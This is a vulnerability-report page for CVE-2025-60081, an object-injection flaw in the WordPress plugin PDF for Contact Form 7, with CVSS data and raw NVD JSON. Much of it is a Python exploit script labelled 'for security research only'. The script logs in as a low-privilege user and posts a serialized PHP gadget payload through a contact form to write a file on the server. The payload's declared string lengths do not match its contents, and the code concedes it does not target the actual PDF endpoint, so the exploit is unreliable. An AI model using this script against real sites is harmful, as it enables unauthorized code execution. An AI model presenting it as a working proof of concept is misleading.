Security Vulnerability Report
中文
CVE-2025-60081 CVSS 8.8 HIGH

CVE-2025-60081

Published: 2025-12-18 08:16:08
Last Modified: 2026-04-15 00:35:42

Description

Deserialization of Untrusted Data vulnerability in add-ons.org PDF for Contact Form 7 pdf-for-contact-form-7 allows Object Injection.This issue affects PDF for Contact Form 7: from n/a through <= 6.5.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PDF for Contact Form 7 <= 6.3.0
PDF for Contact Form 7 <= 6.4.0
PDF for Contact Form 7 <= 6.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 import sys # CVE-2025-60081 PoC - PDF for Contact Form 7 Object Injection # Target: WordPress site with vulnerable PDF for Contact Form 7 plugin (<=6.5.0) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" # Low-privilege account PASSWORD = "password" # PHPGGC payload for arbitrary code execution via deserialization # This generates a gadget chain payload PAYLOAD_TEMPLATE = '''O:31:"Monolog\Handler\StreamHandler":2:{s:16:"%00*%00filename";s:9:"/tmp/test.php";s:15:"%00*%00errorMessages";N;}''' def get_auth_cookie(): """Authenticate and get WordPress session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_object_injection(cookies): """Send malicious serialized payload via contact form""" form_url = f"{TARGET_URL}/" # Contact form URL # Construct payload with malicious serialized object # In real attack, this would target the PDF generation endpoint exploit_data = { 'your-name': 'Test User', 'your-email': '[email protected]', 'your-message': base64.b64encode(PAYLOAD_TEMPLATE.encode()).decode(), '_wpcf7': '123', # Contact form ID '_wpcf7_version': '5.8.0' } response = requests.post(form_url, data=exploit_data, cookies=cookies) return response.status_code == 200 def main(): print("[*] CVE-2025-60081 - PDF for Contact Form 7 Object Injection") print("[*] Target:", TARGET_URL) # Step 1: Get authenticated session print("\n[+] Step 1: Authenticating with low-privilege account...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Inject malicious payload print("\n[+] Step 2: Sending malicious serialized payload...") if exploit_object_injection(cookies): print("[+] Payload sent successfully!") print("[*] Check /tmp/test.php for evidence of code execution") else: print("[-] Payload injection failed!") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60081", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:08.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in add-ons.org PDF for Contact Form 7 pdf-for-contact-form-7 allows Object Injection.This issue affects PDF for Contact Form 7: from n/a through <= 6.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pdf-for-contact-form-7/vulnerability/wordpress-pdf-for-contact-form-7-plugin-6-3-0-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}